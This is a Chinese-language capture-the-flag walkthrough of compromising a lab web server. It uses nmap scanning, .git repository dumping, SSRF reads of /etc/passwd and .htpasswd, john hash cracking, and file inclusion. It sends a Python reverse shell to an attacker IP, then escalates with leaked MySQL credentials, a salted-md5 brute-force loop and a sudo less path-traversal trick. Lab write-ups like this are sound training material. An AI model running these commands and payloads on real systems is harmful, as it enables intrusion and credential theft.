信息收集阶段
使用nmap扫描网段发现服务。

访问ip 注册服务

登录账号,进行信息收集

发现URL检测与api

api需要用户名与密码

发现服务都在api目录中,所以对api目录进行扫描

发现管理员后台,但需要令牌,并且发现token(令牌)与exec(命令)两个变量

漏洞利用阶段
对IP进行漏洞扫描
nmap -sV --script=vuln 192.168.112.109发现该服务git仓库


通过信息收集发现最新版本号

下载源码
wget -r --no-parent http://192.168.112.109/.git/
cd 192.168.112.109
git reset --hard 32c6f0c67e8d557e191e745a44aac9b96e6851d7
发现.env中存在数据库敏感文件和APP_KEY,但没有发现APP_KEY有什么作用

发现index.php中发现了网站登录的密码算法:密码hash与时间戳拼接再进行md5加密

发现admin_panel.php中存在管理员令牌hash.

爆破md5哈希
echo '9f9d51bc70ef21ca5c14f307980a29d8' > hash.txt
john -format=raw-md5
尝试输出令牌与命令发现没有输出返回。

发现url_check.php输入file:///etc/passwd返回结果说明存在ssrf。

因为该服务是apache,应用跟路径应该在/var/www/html,输入file:///var/www/html/api/.htaccess发现文件/var/www/html/api/.htpasswd,测试file:///var/www/html/api/.htpasswd发现返回了用户名与密码哈希。

使用john爆破哈希
echo '$apr1$MJ6F/hkG$zt.9zwxKbvp1fMTi6roNn0' > zhangwei.txt
john zhangwei.txt
进入api输入账号zhangwei密码trustno1,发现文件包含

因为admin_panel.php本身无法返回输出,所以进行文件包含,发现利用成功。

所以我们可以利用反弹shell拿到webshell
nc -lnvp 4444 #攻击机监听
http://192.168.112.109/api/loader.php?module=admin_panel&token=bob&exec=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.112.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
查找flag
find / -name *flag* 2>/dev/null发现flag1.txt与flag3.txt

查看flag
cat /var/www/flag1.txt
cat /flag3.txt
发现权限不够,需要提权。

权限提升阶段
因为之前我们拿到了数据库的信息所以我们登录数据库对数据库进行信息收集
# 查看数据库表单
mysql -u root -p'R#xK9mWz$2pLnQ7v' -D abyss_platform -e 'SHOW TABLES;'
# 查看users表单的信息
mysql -uroot -p'R#xK9mWz$2pLnQ7v' -D abyss_platform -e 'SELECT * FROM users;'
因为我们之前知道了算法所以我们可以对密码进行解码,利用脚本解码
for word in $(cat /usr/share/wordlists/rockyou.txt); do
hash=$(echo -n "$word""1742900000" | md5sum | awk '{print $1}')
if [ "$hash" = "d450a27a0caf3b9dcc7f03e4c492f7ac" ]; then
echo "✅ 找到密码:$word"
break
fi
done
获得admin密码为dragon
使用admin密码登录发现没有什么新权限。

但在之前发现服务器有且只有一个名为liwei的用户,可能存在密码复用的情况,尝试登录

查找flag
find / -name *flag* 2>/dev/null发现flag2.txt

查看flag
cat /var/www/flag1.txt
cat /flag3.txt
权限依旧不够

查看sudo权限
sudo -l发现拥有less的nopasswd权限查看指定目录文件

我们可以进行路径跳跃从而查看flag3.txt
sudo /usr/bin/less /var/log/abyss/../../../../flag3.txt